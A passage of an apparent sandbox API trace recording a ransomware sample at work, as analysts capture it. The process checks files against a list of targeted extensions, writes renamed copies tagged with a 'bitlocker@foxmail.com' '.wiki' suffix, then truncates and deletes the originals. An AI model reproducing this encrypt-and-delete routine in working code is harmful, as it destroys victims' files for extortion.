(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.721] lstrlenW (lpString=".doc") returned 4 [0060.721] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.721] lstrlenW (lpString=".docx") returned 5 [0060.721] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.721] lstrlenW (lpString=".pdf") returned 4 [0060.721] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.721] lstrlenW (lpString=".xls") returned 4 [0060.721] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.721] lstrlenW (lpString=".xlsx") returned 5 [0060.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.721] lstrlenW (lpString=".ppt") returned 4 [0060.721] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.721] lstrlenW (lpString=".zip") returned 4 [0060.721] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.721] lstrlenW (lpString=".rar") returned 4 [0060.721] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.721] lstrlenW (lpString=".bz2") returned 4 [0060.721] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.721] lstrlenW (lpString=".7z") returned 3 [0060.721] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.721] lstrlenW (lpString=".dbf") returned 4 [0060.721] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.721] lstrlenW (lpString=".1cd") returned 4 [0060.721] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.721] lstrlenW (lpString=".jpg") returned 4 [0060.721] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.722] lstrlenW (lpString=".doc") returned 4 [0060.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.722] lstrlenW (lpString=".docx") returned 5 [0060.722] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.722] lstrlenW (lpString=".pdf") returned 4 [0060.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.722] lstrlenW (lpString=".xls") returned 4 [0060.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.722] lstrlenW (lpString=".xlsx") returned 5 [0060.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.722] lstrlenW (lpString=".ppt") returned 4 [0060.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.722] lstrlenW (lpString=".zip") returned 4 [0060.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.722] lstrlenW (lpString=".rar") returned 4 [0060.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.722] lstrlenW (lpString=".bz2") returned 4 [0060.722] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.722] lstrlenW (lpString=".7z") returned 3 [0060.722] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.722] lstrlenW (lpString=".dbf") returned 4 [0060.722] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.722] lstrlenW (lpString=".1cd") returned 4 [0060.722] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0060.722] lstrlenW (lpString=".jpg") returned 4 [0060.722] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.722] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.723] lstrlenW (lpString="AG00169_.GIF") returned 12 [0060.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.723] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5375) returned 1 [0060.723] CloseHandle (hObject=0x1f0) returned 1 [0060.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0060.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.723] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.723] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.723] GetLastError () returned 0x0 [0060.724] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0060.938] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.938] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.938] SetEndOfFile (hFile=0x1e8) returned 1 [0060.938] CloseHandle (hObject=0x1e8) returned 1 [0060.938] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.938] SetEndOfFile (hFile=0x1f0) returned 1 [0060.939] CloseHandle (hObject=0x1f0) returned 1 [0060.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0060.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.939] lstrlenW (lpString=".doc") returned 4 [0060.939] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.939] lstrlenW (lpString=".docx") returned 5 [0060.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.940] lstrlenW (lpString=".pdf") returned 4 [0060.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.940] lstrlenW (lpString=".xls") returned 4 [0060.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.940] lstrlenW (lpString=".xlsx") returned 5 [0060.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.940] lstrlenW (lpString=".ppt") returned 4 [0060.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.940] lstrlenW (lpString=".zip") returned 4 [0060.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.940] lstrlenW (lpString=".rar") returned 4 [0060.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.940] lstrlenW (lpString=".bz2") returned 4 [0060.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.940] lstrlenW (lpString=".7z") returned 3 [0060.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.940] lstrlenW (lpString=".dbf") returned 4 [0060.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.940] lstrlenW (lpString=".1cd") returned 4 [0060.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.940] lstrlenW (lpString=".jpg") returned 4 [0060.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.940] lstrlenW (lpString=".doc") returned 4 [0060.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.940] lstrlenW (lpString=".docx") returned 5 [0060.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.941] lstrlenW (lpString=".pdf") returned 4 [0060.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.941] lstrlenW (lpString=".xls") returned 4 [0060.941] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.941] lstrlenW (lpString=".xlsx") returned 5 [0060.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.941] lstrlenW (lpString=".ppt") returned 4 [0060.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.941] lstrlenW (lpString=".zip") returned 4 [0060.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.941] lstrlenW (lpString=".rar") returned 4 [0060.941] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.941] lstrlenW (lpString=".bz2") returned 4 [0060.941] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.941] lstrlenW (lpString=".7z") returned 3 [0060.941] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.941] lstrlenW (lpString=".dbf") returned 4 [0060.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.941] lstrlenW (lpString=".1cd") returned 4 [0060.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0060.941] lstrlenW (lpString=".jpg") returned 4 [0060.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.941] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.941] lstrlenW (lpString="AG00176_.GIF") returned 12 [0060.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.942] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3120) returned 1 [0060.942] CloseHandle (hObject=0x1f0) returned 1 [0060.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0060.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.942] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.942] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.942] GetLastError () returned 0x0 [0060.942] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xc30, lpOverlapped=0x0) returned 1 [0060.959] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0060.960] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.960] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.960] SetEndOfFile (hFile=0x1e8) returned 1 [0060.961] CloseHandle (hObject=0x1e8) returned 1 [0060.961] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.961] SetEndOfFile (hFile=0x1f0) returned 1 [0060.961] CloseHandle (hObject=0x1f0) returned 1 [0060.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.962] lstrlenW (lpString=".doc") returned 4 [0060.962] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.962] lstrlenW (lpString=".docx") returned 5 [0060.962] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.962] lstrlenW (lpString=".pdf") returned 4 [0060.962] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.962] lstrlenW (lpString=".xls") returned 4 [0060.962] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.962] lstrlenW (lpString=".xlsx") returned 5 [0060.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.962] lstrlenW (lpString=".ppt") returned 4 [0060.962] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.962] lstrlenW (lpString=".zip") returned 4 [0060.962] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.962] lstrlenW (lpString=".rar") returned 4 [0060.962] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.962] lstrlenW (lpString=".bz2") returned 4 [0060.962] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.962] lstrlenW (lpString=".7z") returned 3 [0060.962] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString=".dbf") returned 4 [0060.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString=".1cd") returned 4 [0060.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString=".jpg") returned 4 [0060.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString=".doc") returned 4 [0060.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.963] lstrlenW (lpString=".docx") returned 5 [0060.963] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.963] lstrlenW (lpString=".pdf") returned 4 [0060.963] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.963] lstrlenW (lpString=".xls") returned 4 [0060.963] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.963] lstrlenW (lpString=".xlsx") returned 5 [0060.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.963] lstrlenW (lpString=".ppt") returned 4 [0060.963] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString=".zip") returned 4 [0060.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.963] lstrlenW (lpString=".rar") returned 4 [0060.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.963] lstrlenW (lpString=".bz2") returned 4 [0060.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.963] lstrlenW (lpString=".7z") returned 3 [0060.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.963] lstrlenW (lpString=".dbf") returned 4 [0060.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.964] lstrlenW (lpString=".1cd") returned 4 [0060.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0060.964] lstrlenW (lpString=".jpg") returned 4 [0060.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.964] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0060.964] lstrlenW (lpString="AN00790_.WMF") returned 12 [0060.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.971] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5684) returned 1 [0060.971] CloseHandle (hObject=0x1f0) returned 1 [0060.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0060.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.972] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.972] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.972] GetLastError () returned 0x0 [0060.972] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1634, lpOverlapped=0x0) returned 1 [0061.083] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0061.083] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.084] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.084] SetEndOfFile (hFile=0x1e8) returned 1 [0061.084] CloseHandle (hObject=0x1e8) returned 1 [0061.084] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.084] SetEndOfFile (hFile=0x1f0) returned 1 [0061.085] CloseHandle (hObject=0x1f0) returned 1 [0061.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0061.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0061.086] lstrlenW (lpString=".doc") returned 4 [0061.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.086] lstrlenW (lpString=".docx") returned 5 [0061.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.086] lstrlenW 